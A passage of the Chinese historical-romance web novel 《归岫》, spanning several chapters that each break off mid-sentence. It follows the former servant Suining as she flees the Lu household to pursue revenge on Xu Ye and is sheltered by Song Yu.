《归岫》全本免费阅读 又是一年四月,满城风飘絮,如绵雪铺满路。 岁宁依稀记得,被杨氏女公子捡到的那天,也是这样一个时节。 那当真是位极为良善的女子,杨絮从未过问一个衣衫褴褛的流民为何会私藏一枚金印。她只说,“岁宁,便是岁岁安宁。从今往后,便用作是你的名字罢。” 杨絮教那个孩子识字,闲时会与她共谈策论,让她在书卷中看到了前所未有的广袤天地。 可惜好景不长,杨氏女公子的十六岁那年,徐杨两家定了亲。为了家族的利益,她被迫嫁给了京城穷奢极欲的纨绔。 徐府的内院姬妾成群,可世人不会说徐氏二公子的骄奢淫逸,他们只会穿杨夫人的善妒。 唯有岁宁知晓,杨絮并非真的妒忌府上的姬妾,她只是在以自己的方式保护她们。 正因徐晔的恶名在外,她才没有带着岁宁一并嫁去徐家。 谁料想,曾侍奉在杨氏女公子身侧的几个婢子,在她出嫁后的第二月,便被主家发卖了。 为奴七载,岁宁如同蒲柳,坚韧地捱过了一年又一年。只惜佳人薄命,岁宁未能再见杨絮一面,她便已如同柳絮一样,被风掸落枝头了。 岁宁站在陆府的高墙之内,望着飘飖的柳絮不顾院墙阻隔,在京城的各个角落落土生根。 有人偷偷摸摸地从她身后走过,岁宁回头,笑盈盈地问:“三公子今日又要去揽月坊?上个月的帐都还未销。” 陆宛刚踏出门槛的脚又赶忙收了回来,好声好气道:“岁宁阿姊,我知错了,你千万别......” 岁宁走近,悄声同他说道:“别担心,这次不告诉你父兄,不过——你得带我一道去。” “啊?不行的不行的。”陆宛忙摆手,“若是让阿兄知道了,非打死我不可。” 她便笑言威胁:“若是他知道你在揽月坊赊了多少帐,现在就会打死你。” 见他踟蹰,岁宁便又说道:“二公子昨日去了娄县,今日之事只要你我不说,他断然不会知晓。” “当真?”陆宛思量道,“不过你为何又要去揽月坊?” 岁宁笑道:“自然是——见你素日只顾着输钱,今日大发善心,帮你一把。” 揽月坊中,歌伎子柳与琴师乔松色艺双绝,名馆京师,纵有世家子弟一掷千金,也未必能得他二人青眼,见上一面。 今日子柳女郎君却一反常态,亲自到场子里邀人来了。 “碧玉间的陆公子想玩几把博戏,不知在场的公子可有闲暇?赏小女子几分薄面,与陆公子组个局。” 包括徐晔在内的一众常客争拥着跟随子柳上了二楼,碧玉雅间内候着的人,竟是陆氏的三公子。 见有陆宛这个只会输钱的草包在,几个世家公子来了兴致,二话不说便同他组局。 由子柳亲自坐庄,在座几位便也没什么异议。 岁宁附在陆宛耳边,小声提醒:“这几局,你只需跟着徐二公子下注便是了。” 陆宛半信半疑,“真的?那家伙赌运这么好?” “只需听我的,若输了钱,我给你包便是。” 徐晔看到自己前脚下注,陆宛这个散财童子后脚便跟,脸顿时比碳还黑。 只是骰盅一揭,子柳看向徐晔,莞尔一笑:“徐二公子真是好手气。” 徐晔向她揖了一揖,谄媚道:“偶走小运罢了,再来再来。” 接下来几局,陆宛跟着徐晔赢了些许小利,直至徐晔一时上了头,直接压了上百金。 陆宛刚要跟注,便被岁宁拦了下来。陆宛不解:“阿姊你做什么?我方才玩得起劲。” 岁宁小声劝道:“玩物丧志,三公子适可而止,早些收手。” 她朝子柳递了个眼色,后者顿时心领神会。 果不其然,这局众人输了把大的。 子柳含笑着将桌上金银尽数收入囊中,却又略惋惜道:“徐二公子还真是出手阔绰,只不过......这局运气差了些许呢。” 徐晔怕脸面挂不住,只得强撑笑道:“不过些许银钱,只是难得博美人一笑。” 他将身上金银细软尽数码于桌沿,一掷豪赌,“纵是再来几局也无妨!” 一连数局下来,除了陆宛那小子赚得盆满钵满,可谓是春风得意,其余几人都输得意兴阑珊,又碍于美人在场,不好当面发作。 “今日是陆三公子主场,运气好些,亦是常理之中。”子柳柔声细语安慰道,“若是几位公子下次还想组局,碧玉间亦随时供诸位做场子。” 散了场,陆宛心满意足地扯着岁宁的袖子,乐呵道:“岁宁阿姊不仅是机关算尽,便是连赌局的输赢也能料定,真不愧是我阿兄看中的人。” “三公子输了成百上千回,难道从不怀疑旁人会出千么?”岁宁跟瞧傻子似的看着他,快加冠的人乐,就是不见生个心眼。 “什么意思?”陆宛依旧云里雾里。 “没什么意思。”岁宁笑道,“三公子先回去罢,我留下同子柳女郎君聊几句闲话。” 于是陆宛刚大摇大摆地走出揽月坊的大门,便被方才输了钱的几人蒙了麻布拳打脚踢。 子柳坐在漆木屏风前,低头嗅着茗香,啧啧叹道:“陈娘子待你家三公子真是狠心呐。” 岁宁支着下巴,嗤笑道:“不若如此,被人骗了再多钱他也不长教训。两位兄长在外苦心经营谋来的利,在他眼里同大风刮来的无异。” 子柳又点了点桌上的账本,同她道:“徐晔这两年在揽月坊的花销,林林总总都罗列在账簿里了,你瞧瞧。” “劳你费心了。” 子柳拂了拂耳边鬓发,淡淡一笑:“这说的什么话?还要多谢陆郎君当年从尸山血海里把我救了回来,小女子替他做再多事,都无以为报。” 岁宁却一时沉默无言,陆延生向来习惯以此手段收买人心,使人自愿为他所用。相比之下,自己倒算是最幸运的一个了。 “四年六月初五日,徐二公子赠揽月坊子柳彩羽衣一件,价值九百九十钱.....” “六月十六日,赠漆金桐木箜篌一袈,价值五十金......” “徐晔前前后后送了这么多礼,你竟都不为所动?” 子柳神色忽有些落寞,她起身行至窗前,掀起紫珠帘,望着歌楼其后的一片荒芜。她对那密密麻麻的礼单嗤之以鼻,“那又如何 18. 歧路少人行,自向荆州去 《归岫》全本免费阅读 “连徐氏的人都敢动,陆延生你到底发的什么疯?” 木质鞭杆应声抽下,在陆宣的背脊上生生留下道血痕。 今日,那矜贵自持的玄学名士不执紫竹缂丝扇,改拿鞭杆了。 陆宣背对着他,纵是将牙咬碎了也不曾痛呼出声,言语中也不见悔改,只问:“父亲也知晓了吗?” 陆灵远手握着鞭杆,走到陆宣面前,居高临下地看着他,“他自然不知你做的那些手脚,可你是怎么个脾性,没人比我更清楚。” 陆宣不知死活地笑道:“他是被尚书左丞检举弹劾的,与我有何关系?” “不思悔改。”陆灵远握紧鞭子的手背青筋凸显,紧接着又是一鞭落下,打得他跪倒在地。 “与这样的世家交好,却还自诩清白,不觉得可笑吗?” 陆灵远不曾回答,只叮嘱他:“你同张家女公子的亲事,族中已经定下了,成婚之前,你最好安分些。” 陆宣低头紧攥着衣袍,颤声道:“我......自然知晓。” 陆灵远点了点头,问道:“至于跟在你身边的女子,你打算如何处置?” 陆宣道:“她素来尽心尽力替我办事,未尝有过什么过错,谈何处置?” “几次三番教唆你,还不算过错?” “长兄自称了解我,难道不晓,我岂会容旁人教唆?” 陆灵远道:“待你成了家,未来的夫人未必就容得下她。” “我与她之间,并非兄长想的那般......” “够了,不必再说。” 陆灵远抬手召下人过来收起了戒鞭,又道:“若你狠不下心,我倒是不介意替你解决。” “长兄。”陆宣忍着痛意从地上爬起来,欲上前拦住他,却反被一众仆役拦下,眼睁睁看那道身影走出了鸣鹤轩的正门。 红日西去,亭台楼阁笼罩在薄暮之中,一片死气沉沉。 直至那女子削痩的身影出现在檐下,这暗淡的天光才显得明媚了几分。 陆宣看向门口踟躇的身影,微微张了张口,却久久未言,不敢唤她进来。 “听闻二公子受了些伤,我来......看看。” 岁宁端着药盒走到他身侧,声音却有些发哑,似夹杂了些许委屈。 “不妨事。”陆宣云淡风轻地笑着,宽慰道,“我兄长哪回下过死手?不过是拿戒鞭吓吓我。” “那便好。” “听人说,我兄长今日去了容雪院。” “嗯。”她低着头,瞧不出什么情绪。 陆宣问:“他是不是同你说了什么?可有为难你?” 岁宁将药盒搁在桌上,闻言怔愣了许久。想起那位贤名远扬的长公子,在外人见不到的地方,却如豺狼野兽般,使人避之不及。 “关于延生和你,京中素来流传些不好的传闻,想来女郎也略有耳闻。” “可延生的心思落在你身上,难免他未来的新妇不会在意。” “所以——为了以防万一,只能劳烦你吃些苦头了。” 陆灵远不过赏了她几句话,以及一碗不明的汤药。 不过寥寥几句,却又字字都是敲打、威胁。 那时她惶恐地以为自己死到临头。 幸好,只是碗避子的汤药。即便此生无子息又何妨?反正她也从未喜欢过陆宣。可她到底还是因着莫须有的流言,受了这凭白无故的折辱。 陆宣问她:“怎么了?为何不说话?” 她摇摇头,“没什么,大抵还是些让我劝你之类的话。” 远近亲疏,岁宁尚且拎得清。陆宣可不会为了她,与自己的兄长反目成仇。 “只是......这般?”陆宣自是不幸自家兄长手段会这般柔和。 岁宁鼻子一酸,眼眶微热,她仰起头扯出一抹笑,道:“我替二公子挡了多年的桃花,也因此吃了不少苦头,所幸从今往后都不需要了。” “嘁!”陆宣笑骂道,“说得跟要了你的命一样。” “如果......”岁宁谨慎开口,“我是说如果,有朝一日我不想再过这些谋于算计的日子了,二公子可愿意放我离开?” 他淡然道:“你纵是不替我疲于奔命也成,还担心陆氏养不下你吗?” 岁宁深吸了一口气,重申道:“我说的是,离开陆府。” 陆宣神情突然严肃,“你一个女子,想跑去哪儿?万一成了别人的口粮......真当我是说笑的吗?” “若是出了什么事,想让我去哪儿寻你?去人肉锅里寻你吗?” 他习惯以此戏谑的语气诉说关心,天塌下来的大事到了他口中都能变成玩笑带过。 可岁宁从未如此强烈地想要逃离这座樊笼。 对上陆宣探究的目光,岁宁平静开口:“我不过,说说而已。” “既然二公子无事,我便先回去了。” 于是那似浮云一般的身影,又在玲琅环佩的碰撞声中,渐渐远去。 徐氏如蛀虫一般,将库府啃噬得亏空,却因几个世家大族联合作保,徐晔只被罚了俸,贬去了荆州义阳郡。 这样的惩处不痛不痒,反倒给徐氏的势力深入荆州提供了便利。 能在建康城排得上名号的士族,早如大树遮天蔽日了,唯有她一个庶民处在这场局中,显得单薄又无力。 一切的谋划在绝对的权势面前,都不值一提。可岁宁还是想,为死去的旧主正名,为她求一个公道,为世间平凡人,寻一条生路。 容雪院里未留下书信一封,她在四月的某个夜里不辞而别,独自前往荆州。临走前,她在庭前的玉兰树下埋藏了伴随自己多年的金印,大有鱼死网破的决心。 一袭黑衣策马离开建康,踏着月色,奔走于无人的旷野。比起复仇,更像是一场逃亡。 她贪婪地汲取牢笼之外的空气,胸中剧烈地起伏,不知更多是对自由的憧憬,还是对前路的恐惧。 日夜兼程到了平阳县,连徐晔的影都没追上,倒先见到了陆氏的部曲。 以何钧为首的士卒穿堂过巷,四处张望着,好似在搜寻什么人。岁宁躲在墙角,下意识觉得,这群人是为寻她而来。 连仇人的头发丝都没摸着,她还不想这么早就被抓回去。 岁宁方还庆幸自己早换下了平日里繁复的装束,连钗环都不曾佩,何钧却突然停住脚步,回头瞄了一眼。 于是岁宁又看着何钧从自己面前飘过,去追人群中的幂篱女子了。 好在陆延生派了个办事最不得力的人来,可是坏就坏在何钧直接驻守在城门口,她出不了城了。若是在谒舍落脚,总归是逃不过盘查。 赶在城门落锁之前,岁宁去脂砚斋中买了各式水粉 19. 无觅处?柳暗花明又一村 《归岫》全本免费阅读 车舆内气氛凝滞了一瞬。 岁宁壮着胆子,扯上他的衣袖,谄媚道:“若说我是专程来寻你的,公子会信吗?” 宋聿挥袖甩开她的手,冷然吐出一句:“不信。” 她便也止了笑意,如实回答:“我前几日刚从陆府逃出来,城中那些士卒,是在寻我。” “怎么?在陆氏也干不下去了?”他一时忍俊不禁,以袖掩面,忍不住笑出声来。 不知他是幸灾乐祸还是真的开心,这句话像是刺痛了她的心,勾起些许不愉快的回忆来。 岁宁落寞地背过身去,不去听他的嘲笑。逃亡的一路风尘仆仆,满身泥泞。此刻她发丝凌乱,脸上的胭脂也花了,实在算不上体面。 宋聿察觉到她的低落,便也不细问其中缘由了。 “那你如今想去哪儿?” “我想出城。” “出了城之后呢?” 岁宁背对着他,揉了揉眼睛,又摇了摇头。连她自己也不清楚,要去寻仇的事,更无法说出口。 “今日出不了城了。”宋聿掀起车帘看了看周遭境况,又无奈放下,“先随我回谒舍吧。” “嗯。”她小声应着。 “岁宁。”宋聿看着她的背影,轻声唤她,“坐过来些,等会到了谒舍,指不定还会有人来盘问。” 岁宁点点头,小心翼翼地挨近。那人却覆住了她脏兮兮的手,掩在宽袍大袖之下。 马车缓缓行驶在义阳拥挤的街道上,民众渐渐散去,依旧有守城的士卒在徘徊。近了谒舍,远远见着有两个士卒在门口盘查来来往往的旅人。 宋聿问:“他们之中,可有人见过你?” 岁宁答:“今日在城门口,见过的。”说着,她便解下腰带,褪去黑色的外衣,只余一件白色的中衣。 宋聿一时语塞,忙背过身去,局促得将袖角都抓皱了。她好像没把他当外人,也没把他当人。 “等会下了马车,我说什么,你只需听着,不必答话。” 岁宁任由宋聿将外衫盖在她身上,听他细声叮嘱,下一刻便身子悬空,被他揽着腰抱起,快步行至门前。 守在谒舍的士卒很快拦住了他的去路,只见一女子靠在他怀中,发丝掩去了面容,一时也拿不准主意,便问他索要名牒。 宋聿道:“青州宋氏,宋绍君。且容我先送内子回客舍歇息,待会自会有人将名牒送过来。” 二人一听,也是在建康排得上号的姓氏,开罪不得,只得先放行。 “无事了。”宋聿细语安慰她,却发觉她的背后已浸出津津冷汗来。 待回到了客房,将门窗一并掩上,她才安定些许。 宋聿问她:“就这么怕陆氏的人把你抓回去?” 岁宁只低着头,喉间一哽,却没答话。 他好似又?见到当年那只落水受惊的狸奴了,不过也只敢这般想,不敢说出口。 宋聿蹲在岁宁面前,小声询问着:“是不是他们欺负你了?” 本不该问的,一旦听到旁人只言片语的关心,委屈便顷刻翻涌,泪水如决堤一般,怎么止都止不住。 可是宋聿又害怕,若不问个清楚,她会像当年那样,一声不吭便将欺辱她的人杀尽了。 如今的陆氏不同,这些权贵不同,若真死于她手,宋聿未必就能像从前那般偷偷保下她。 宋聿暗道着自己没出息,连她的底细都没摸清,这会竟只顾着替她揩泪了。 “能将京中的士族耍得团团转,还能一刀了结了叛党性命,不是都要名满京师了,怎么还动不动就哭啊?” “我不要名满天下......我不想要这些了......” 名与利,她都不要了。 宋聿又问:“那你想要什么?” 想要徐晔的性命。 这个自然不能说,于是便答:“我如今不知晓,待我想好了,再告诉公子。” “好。”宋聿扯过袖子替她擦拭脸上的泪痕,袖口脏了,胭脂却愈擦愈花,他忍不住笑道:“瞧瞧,胭脂都哭花了,一点都不漂亮。” “无妨。”岁宁拂开他的手,把头偏过一边。 反正也没漂亮过。 天光渐渐暗去,豆点般的烛火一点点被点亮,在树形连枝铜灯上如同花朵绽开。柔光映照着他清冷的眉目,那暗淡又深邃的目光,却落在她的身上。 岁宁忽有一瞬的恍惚,觉得那双眼中,藏了许多心事与秘密。 但她此时哪里敢问。 宋聿早有些疲乏,取下木施上的外衣,又回头看着那安分坐于案前的女子。 “我尚有些事未谈完,你留在这里,不许踏出房门半步。不然,我真会把你当成是陆氏的细作。” “过会,会有人送饭食和热汤过来。你自便,不必等我。” 平淡的语绪中带着丝威胁,却又留了些许情面。 “嗯。”岁宁即刻正襟危坐,点头如捣蒜。 那人走了,她也卸去了慎微,无力地伏在桌案上。 案上展着一份书写完毕,待墨迹阴干的拜帖,似是它的主人忘了收好。 可帖子上“平阳县令徐晔”几字赫然映入眼帘,让她怎么都移不开眼了。 徐晔将要来平阳上任,可他人还在路上游山玩水,迟迟未到。那么这几日暂留城中也未尝不可。正思索着,一阵轻快的敲门声打断了她的思绪。 谒舍的杂役给她送了些衣物和点心,又来来往往,在屋内替她备下沐浴的热汤。 可岁宁全无困意,只抱着膝坐在案前,盯着那份拜帖,守着桌前一盏油灯,直至灯芯都燃尽。 分不清是月亮洒下的光辉,还是天刚蒙蒙亮,她迷迷糊糊地被人唤醒,那人问她,“为何睡在这里?” 岁宁微微睁眼,看清了来人,竟是连头也不愿抬。她咕哝道:“公子怎么回来了?” 他道:“回来取些东西。” “哦。”岁宁敷衍地应了声,抬袖遮住了眼睛,又继续睡。 乌发披两肩,垂落在草编的席上,其上落满朦胧的天光。 宋聿坐在书案的另一侧,静看着她。 “去榻上睡吧。” 她把头埋在臂弯里,闷声道:“不去。” 他无奈道:“我的东西,被你 20. 风烟迭起,乱世难求太平 《归岫》全本免费阅读 初夏的雨来的匆忙。 岁宁倚坐在窗边,支起窗格,静默听雨。豆大的雨滴啪嗒啪嗒落在泥砖上,洗去一地的浮尘,空气中弥漫着泥土与枯草的气息。 谒舍的仆役仓促收拣晾晒在外的衣物与粮食。 伴随着一阵杂乱的脚步声,廊下又有人不紧不慢地走近,停在门前,轻叩了三下。 岁宁前去给他开了门,望着他眼中难掩的疲惫,明知故问: “忙完了?” “嗯。”宋聿停在门口,问她,“想出门吗?” 岁宁邀他进屋坐下,给他倒了杯早已凉透的茶。 “想来公子也累了,不必这般顾及我。” 他似是为琐事所扰,揉着眉心喟然叹息:“你不该到义阳来的。” 如今北面已成羯人国土。 义阳郡已靠近边境,左扼两淮,右控江汉,屏蔽中原,更有武胜关、冥扼关、平靖关三关横距,为南北往来的军事要道,战事频繁。 平阳县如今的县令迟迟不到任,岂不是给了流寇与胡人可趁之机。 千里迢迢从繁华的建康城跑到民生凋敝的平阳,所求为何?岁宁素来是个趋利避害的人,这一点,她不会不知晓。 “我给公子惹麻烦了?”岁宁挨着他身侧坐下,望着他低垂的眉目。 “没有。”宋聿喝了口茶,声音渐沉,“只是义阳近来多有动乱,边关不稳定,新上任的县令也不是什么善茬。我不想留你在此处。” 他刚放下茶杯,便对上她殷切的目光,于是问:“不会在茶里给我下毒吧?” 她眉头一皱,“怎会?” “说笑罢了。”他道,“现下,该说你的事了。” “从何说起......” “京中传来消息,陆张两家定了亲,择于下月初七日成婚。” 宋聿有意提起此事,不过好奇她的态度。 她平静开口:“我知道。” 他又道:“我以为,你从陆府逃到这儿来,会与此事有关。” “不是的。陆氏与谁家联姻,同我有什么关系呢?”岁宁不屑地轻哼了一声,“如今陆宣所求与我背道而驰,却又不愿放人,我这才逃了出来。” 他笑道:“看来你眼光素来不好。” 岁宁连连点头表示赞同,她总是善于顺着杆往上爬。脸皮什么的,谈不上重要。 “早知如此,当年就不逃了。私以为,做宋公子的婢子没什么不好。” 宋聿倾身过去,瞧着她狡黠的双目,轻笑道:“会杀人的婢子吗?我才不要。” “哦——”岁宁若有所思,又识趣地离他远了些,“那为何要留我于此呢?” “我总还想着,或许能相信你。”他垂着眸,错杂的眼睫遮去了心绪。 岁宁却回道:“公子,我此生只忠于自己,不会忠于任何人。” 她似乎与忠诚二字毫不沾边,却又总能让人抱有一丝期许。 听完这个回答,宋聿哑然失笑,“那还真是可惜。” 他又问:“那你当初为何会选择替陆宣办事?” “陆延生吗?”岁宁思索了好一阵,避重就轻地开口,“他从前收救过许多流民,尤其是......女子。有的以姬妾的名义送去了别家,成了细作。有的成了歌楼里的伎子,替他查探消息。还有的......便是像我这般,留在了陆府。” “原是这般......” 宋聿不敢告诉她,四年前他也曾去过历阳。 历阳城外尸堆如山,白骨遍野,坟场千里,连生前模样都看不清。 所幸她没有变成其中的白骨一具。 也是从那时起,他不再惧怕死人了。 岁宁早提醒过他,该忌惮的是陆灵远,可他每次只揪着陆延生问。 “好心提醒公子一句,陆灵远的野心和陆延生不同......他明面上不争不抢,私底下好像......和荆州的流民帅有过牵连。” 最后她又说:“当然,这是我猜的,没什么证据。公子可以自己掂量,是否要相信我。” 宋聿只略略点了点头,好似对这些事不甚在意。他也并非真的想打探这些事,只不过眼前的女子只相信利益交换,那便依她所愿。 宋聿问她:“那么你呢?” “我?”岁宁似有不解,“我方才还没说完......” “已经足够了。” 他已经得到想要的答案了。 窗外的雨晴了,唯有屋檐还在滴水。 宋聿道:“雨停了,你今日该出门了。” 岁宁顺着他的视线,同他一并望向窗外,却说:“公子累了,该歇息的。” “歇不得。我怕一着不慎,平阳县里就闹出了人命。” 说罢,宋聿转头看她。仿佛被猜中了心思,她那低垂的眉尾与嘴角却微微扬起。 她竟笑了。 宋聿道:“被我猜中了,是吗?” “是。”岁宁索性不再隐瞒,倒像是如释重负般,松了口气。 她笑看向宋聿,重申着:“我想杀一个人,一个连陆氏都不愿得罪的人。公子现在与我撇清关系也不迟,或是直接把我交给何钧,省得还因我得罪了......” 宋聿没听他继续说下去,只道:“你怎么就料定,他们不愿得罪的人,我就会忌惮?” 见他这般云淡风轻,岁宁忍下心中的讶异,试探道:“公子的意思是——” 宋聿略凑近了些,附在她耳畔轻语,清润的嗓音似在蛊惑:“那个人是谁?不妨告诉我,没准我就顺手帮你解决了。” 这傻子怎么偏往火坑里跳。 周身淡淡的杜衡香与他温吞的声音扰得岁宁心神不宁,她伸手轻轻推开了身前人,眼中是从未有过的诚恳。 “如果这也是交易的话,我已经给不起公子想要的价码了。” “那就欠着。”宋聿也不甚在意。 注定要赔本的买卖他也做?人死债销,他最后可不得血本无归。岁宁这般想着。 还未等她回答,忽闻谒舍外锣鼓喧天,唢呐声嘈杂。 她先一步起身,朝窗外看去,只见得谒舍的院墙,什么也看不到。 看出了她的心思,宋聿便邀她一并到外头去凑热闹。 为首之人骑着高头大马,身后跟着两辆马车,招摇过市。被贬到这弹丸之地,却依旧红光满面之人,便是新上任的县令徐晔了。 他由仆从牵着马,拱手向城中百姓作揖。 “晚生徐晔,初来此地,还望父老乡亲多多海涵。” 平阳县一众百姓围在街道两侧吵吵嚷嚷,指着这初来乍到的贵人,有的笑,有的骂。 马背上的男子颇有俯视众生之感,他的目光落在人群之中,肆意 21. 陇上稻花开,消夏日悠长 《归岫》全本免费阅读 “茶凉了,将就喝。”宋聿抬手邀他坐下,给他倒了杯茶。 王忱略恼,“方才问你话,休要打岔。” 宋聿面不改色地回答:“自然是因为——她如今是宋氏的人。” “你的人?”那温润如玉的公子竟是难得失态,一一细数她的恶行,“莫不是你让她害我损失了两船茶叶,抢我生丝生意?就在两月前,她还在赌坊帮着陆宛坑了舍弟二百金。” 岁宁依着窗轩,瞟着浮云与远山,只装作没听见。 宋聿不着痕迹地瞧了窗旁的女子一眼,漫声道:“哦?当真?” “当时乔二公子也在,众目睽睽,还能作假不成?” 宋聿淡笑道:“她这么厉害?” 王忱一时语塞,气不打一出来,“不是——这你得赔吧?” “又不是我让她做的,你找陆氏赔去。” 王忱呵呵笑道:“我怎么敢?你又不是不知家父脾性……” 见她又要喋喋不休,宋聿敲了敲桌,道:“说正事吧。” “她——”王忱迟疑道,“信得过吗?” “信不过。” 信不过你还留着? 王忱被茶水呛得说不出话来。 岁宁自觉回避,方走到门口,便听宋聿冷声令道:“站住。不留在我眼皮底下,更信不过。” 王忱无奈,便只得凑近了,同他低语。 说的什么,岁宁听不太清,只隐约听到了“顾氏”、“徐晔”之类的字眼。 不过,她好似看到那人眉宇间的愁绪淡了些,定然是些好消息了。 至于王忱,他的目光时不时会落在自己身上,说不清楚是哀怨,还是惋惜。总之,在他离开之前,都未再笑过了。 又只余二人时,宋聿看向她,好似在笑。 “你还真是,无恶不作。” 岁宁不以为意,冷哼一声,“他们自己争不过,便要怪我么?” 宋聿一面收拣着桌上的文书,一面漫不经心地说:“计划有变,我今日便要离开平阳,是要随我一起走,还是跟何钧回去,你自己选。” 乍一听好似给了她选择,其实只有一条路。 岁宁便也垂着脑袋过去,跟着一道收拾。此行倒是白来平阳一趟。 像是浮萍似的,别人偶尔推波助澜,她便会顺着水流漂到哪里,永远没有根蒂。 她问:“离了平阳,去哪儿?” 宋聿答:“武昌郡安陆城,去我外祖家。” 岁宁迟疑道:“我也要跟着去吗?” 宋聿手上动作一顿,问:“不然你想去哪儿?” “我想去蜀地。” “刚闹了蝗灾,人相食。不想活了你就尽管去。” “会稽?” “王氏的地盘,别忘了你怎么得罪的王忱。” “临川?” “水患。” “湘东?” “大旱。” 岁宁皱着眉,不耐烦道:“苍梧,够安全了吧?” 宋聿支着下巴,眼中笑意更甚,似是在嘲弄:“真想去的话……你只需犯个错,我便让我外祖父把你流放到那儿去。” “……” 她明白了,此人的言下之意便是,只有待在他的身边才是最安全的。 他说:“当初说好了要保你此生顺遂无虞,女郎好歹给我个践诺的机会。” 岁宁有些无可奈何,他比陆延生也没好到那儿去,这些个世家子弟多多少少都有些毛病。 马车驶出城郊的一路,岁宁都望着沿途景象怔怔出神,与她来时一般,荒凉破败。 身侧之人一会儿同她说,安陆城的槐花开了。 一会儿又说,先生如今也在那里。 哪位先生?那个奇奇怪怪的道长吗? 他又说,他外祖父与外祖母很和善,同他母亲不一样。 她也有一搭没一搭地应着。 岁宁思绪却不在这里,她来荆江一带,有更重要的事。 此事关系到荆江二州上至士族,下至百姓的存亡,全维系于一个人的野心。 又或者,再狠下心,由着那些反叛的流寇涌入平阳,取徐晔性命不过顺水推舟的事,她也必大费周折亲自动手。 但她不想再见兵荒马乱,血流成河,亦不愿看到陆氏的势力趁此渗入荆州。 再看看眼前这位宋公子,此刻心情甚好,一路上悠哉悠哉,全然不见争权夺利的野心。 见她一直望着车窗外出神,宋聿举着书卷在她眼前扇了扇。 “在想些什么?” 岁宁不假思索道:“在想,武昌郡的粮够么……” 宋聿笑道:“放心,饿不着你。” 岁宁心下微微叹息,果然,他就这点出息。 他说,安陆城与她想的不一样。 马车行了近四个时辰,从早间到日暮,穿过无边无际的稻田,远远望见了城郭。 浮翠的田垄间,有躬耕田间汗涔涔的农人,也有坐在箩筐中平添乱的幼童。归耕之时,农人便一箩担着农具,一箩担着幼子,顶着落日归家。 纵使岁宁早已记不清故土在何处,模糊的记忆里,恰有一幕与此场景重合。 安陆城近了,又见枝柯横斜江水流,细柳如烟绕桥头。 忽忆当年父母在,也曾携稚女牵牛过斜桥。 像途径了一场美梦,如今梦醒了,她仍活在现实。 不知怎的,泪眼朦胧了。 “到了。”宋聿侧头看着她,可她好似不怎么开心。问及缘由,她却掩着面,泪落如霰,几乎哽咽到失声。 靠近了才听清,她在说,她的家早不在了。 他责怪着自己,抱歉啊,又引你落泪了。 不曾历经人世苦厄的世家公子又怎会知道,啮雪餐毡后的一场美梦,才最令人委屈。 宋聿递给她一块帕子,道:“你这般模样,我该怎么同外祖父和外祖母解释?” 岁宁背对着他,擦去泪痕,依旧透过竹帘缝隙看着沿途景致,没有回答。 从华灯初上熙熙攘攘的建康,来到了陇上花开月明风清的新乡。 她止了泪,突然说道:“我想下去走走。” 宋聿吩咐马车夫停了车,岁宁迫不及待一跃而下,钻进了路侧的稻田之中。 如今稻花正盛,嘉禾亦兴。 她提着裙摆愈走愈快,已然步履如飞,窜梭在冒过膝盖的稻禾间,任由尖利的禾叶划过手心,乐此不疲。 宋聿缓步跟在岁宁身后,听着风吹稻海。 若她不曾受过那些搓磨,本该是这样的恣意和张扬。至少他是这般想的。 他站在田垄的另一头唤她:“天快黑了,该回去了。” “若是喜欢,大可明日再来。” “再晚些,外祖备下的晚膳都凉了。” 他催促了许久,那位女郎才依依不舍地离开了她眷恋的田地。 宋聿觉得有些好笑,早知如此 22. 浴兰时节动,夜半与君谋 《归岫》全本免费阅读 婢子不明就里地回答:“这间屋子是两月前收拾出来的,未曾有人住过。” “我知晓了。”岁宁点点头,已了然于心。 婢子又恭顺道:“女郎若缺了什么物件,尽可吩咐。” “不必。”她淡淡笑道,“劳烦你了,早些歇息吧。” 那婢子应了声是,便退下了。 是夜人声寂静,唯有蟋蟀不知倦,呱噪不停。 岁宁悄然锁上门,点了灯,翻出贴身藏着的一封书信。留了许久,连纸页都变得皱巴巴的。 看不出信上的字迹所属于谁,但信笺的材质有些特殊,兰香已经淡了。她在陆氏待了三年,不会不清楚,这是陆氏长公子常用的信笺。 可这封信最初是在陶庚的府邸里翻出来的。 也是从那时起,岁宁怀疑陆灵远与这些流民帅又勾结。 他撺掇那些不甘居于权贵之下的将领起兵反叛,借他们的手除掉本地的士族;又让陆延生在奉召讨贼之中立下平叛之功;届时陆氏再扶持新贵,让陆氏的势力得以深入荆江。 一箭三雕之计。 岁宁不再需要这样的前程了,她的前程不该踩在万千民众的尸身之上。 她想不动声色地毁掉陆灵远的计策,可最终还是让他察觉了端倪,这才是她逃离陆氏的真正原因。 宋氏不足以同陆氏抗衡,她手中的证据还不够,她的筹码还不够。 在物阜民丰的安陆城,岁宁得到过短暂的安宁。 可她似乎不爱街市,总是走村窜山的。 城中寻不到她的身影,派人四处去找,才发现她也竟同其他农人一样,顶着个草帽,躬身在田地里,帮他们除杂草。 宋聿偶尔问起,她说她在查探消息。 好吧,从庄稼人口中能得到什么消息? 岁宁只笑不言,她同个不知疾苦的世家子弟说什么理? 如今土地十之税一,问一问近几年收成如何,便能推算武昌郡的官仓内囤积了多少粮。 她还学庄稼人如何看天象,观四时变化。对天时多一分了解,便多占一分先机。 有时被宋聿扰得烦了,她便同渔叟买了根鱼竿,借他的渔船,在江舟独坐一整天。她钓不上来鱼,但能在江上打一天的窝。 如血残阳,映照沔水江畔的芦苇荡。江波上浮跃的光影流动,浪花拍打着船舷,小船随着江流缓缓摇晃。 江对岸有三三两两结伴的女郎,或是在洗野菜,或是在折芦苇做扫帚。 江岸还有一位青衣公子,有一下没一下地往江水里扔石子,等着那舟上钓鱼的女郎归家。 往日都是一无所获。 今日岁宁欣喜地撑着舟泊到江岸来,给他展示她钓到的一尾小鱼,不过巴掌大,勾在鱼线上活蹦乱跳。 听完了宋聿的夸赞之词,她便取了钩,又把鱼扔回了江里,心满意足地提着空鱼篓,邀他归家去。 二人并行走在芦苇丛中间的道上。 宋聿问她:“明日可否不来了?” “为何?”岁宁转过头,望着江面,险些一竿子甩到身旁人脸上。 “明日是端午,你不记得了?” “还真忘了。”岁宁喃喃道。 时序去如流水,不知道还有多少时日给她准备。 “公子,有一件重要的事,我想告诉你。”她忽然说。 “何事?”宋聿认真地看向她。 “嗯……”岁宁顿了顿,随后道,“不能让旁人知晓,今夜你来我房中,再说与你听。” 闻言,宋聿即刻收回了落在她身上的目光,装作漫不经心地看着前方。他一言未发,耳根却红了,良久才支支吾吾道:“这般……不好吧。有什么事,不能白天说?” 岁宁抿了抿唇,似有些许无奈,“你不来的话,我只能去同姜太守说了。” “此事你同我外祖说作甚?”他一时无法理解。 